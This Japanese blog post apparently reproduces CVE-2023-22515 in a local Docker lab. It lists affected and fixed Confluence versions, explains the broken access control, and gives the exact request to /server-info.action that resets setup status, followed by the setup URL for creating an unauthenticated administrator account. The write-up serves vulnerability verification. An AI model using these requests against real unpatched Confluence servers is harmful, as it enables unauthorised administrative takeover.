2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

脆弱性検証(CVE-2023-22515)

Last updated at Posted at 2023-12-24

脆弱性概要

Confluence Data Center および Confluence Server におけるアクセス制御破損の脆弱性
悪用された場合、リモートの攻撃者から未認証の管理者アカウントを作成され、Confluence インスタンスにアクセスされる可能性がある

影響を受けるバージョン

Confluence Data Center および Confluence Server

  • 8.0.0 〜 8.0.4
  • 8.1.0 〜 8.1.4
  • 8.2.0 〜 8.2.3
  • 8.3.0 〜 8.3.2
  • 8.4.0 〜 8.4.2
  • 8.5.0 〜 8.5.1

8.0.0 より前のバージョンはこの脆弱性の影響を受けない

修正バージョン

Confluence Data Center および Confluence Server

  • 8.3.3
  • 8.4.3
  • 8.5.2

PoC

脆弱性の詳細

ユーザは Confluence の初期デプロイ時、/set にアクセスして管理者アカウントを作成するセットアッププロセスを実行する。
プロセス実行完了後のアクセスは、セットアップ完了メッセージの表示画面またはログイン画面などにリダイレクトされる。

アクセス制御破損の脆弱性により、/server-info.action を介して、セットアップ状態を未完了に設定し、管理者アカウントを作成するセットアッププロセスを再度実行される可能性がある。

ServerInfoAction クラスは ConfluenceActionSupport クラスを継承しているため、そのクラスのメソッドにアクセスできる。ConfluenceActionSupport クラスの BootstrapStatusProvider メソッドは、セットアップ状態を設定する setupComplete パラメータを構成している ApplicationConfiguration オブジェクトにアクセスできる。
攻撃者はこの脆弱性を悪用して
/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false にアクセスすることでセットアップ状態を未完了に変更し、認証なしで管理者アカウントを作成することができる。

検証環境

  • Confluence Server 8.3.2
  • PostgreSQL 15.5

環境構築

Docker イメージから Confluence Server を起動(検証用のネットワーク vrfy を指定)

docker run --name "confluence-server-8.3.2" -d -p 8090:8090 -p 8091:8091 --network "vrfy" atlassian/confluence-server:8.3.2

Docker イメージから PostgreSQL を起動(検証用のネットワーク vrfy を指定)

docker run --name "postgres-15.5" -d -e POSTGRES_PASSWORD=password -p 5432:5432 --network "vrfy" postgres:15.5

PostgreSQL に接続してユーザ、データベースを作成

docker exec -it postgres-15.5 psql -U postgres
psql (15.5 (Debian 15.5-1.pgdg120+1))
Type "help" for help.

postgres=# 
postgres=# CREATE USER test_user WITH PASSWORD 'test_pass';
CREATE ROLE
postgres=# CREATE DATABASE test_db1 OWNER test_user;
CREATE DATABASE

ブラウザから http://localhost:8090 にアクセスして Confluence をセットアップ

Screenshot_001.png

Screenshot_002.png

脆弱性検証

http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false にアクセスしてセットアップ状態を未完了に変更

Screenshot_003.png

http://localhost:8090/setup/setupadministrator-start.action にアクセスして管理者アカウント情報を入力
Screenshot_004.png

Screenshot_005.png

作成した管理者アカウントで Confluence インスタンスにアクセス

Screenshot_006.png

脆弱性修正バージョンでは http://localhost:8090/login.action?os_destination=%2Fserver-info.action&permissionViolation=true にリダイレクトされる

Screenshot_007.png

参考

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?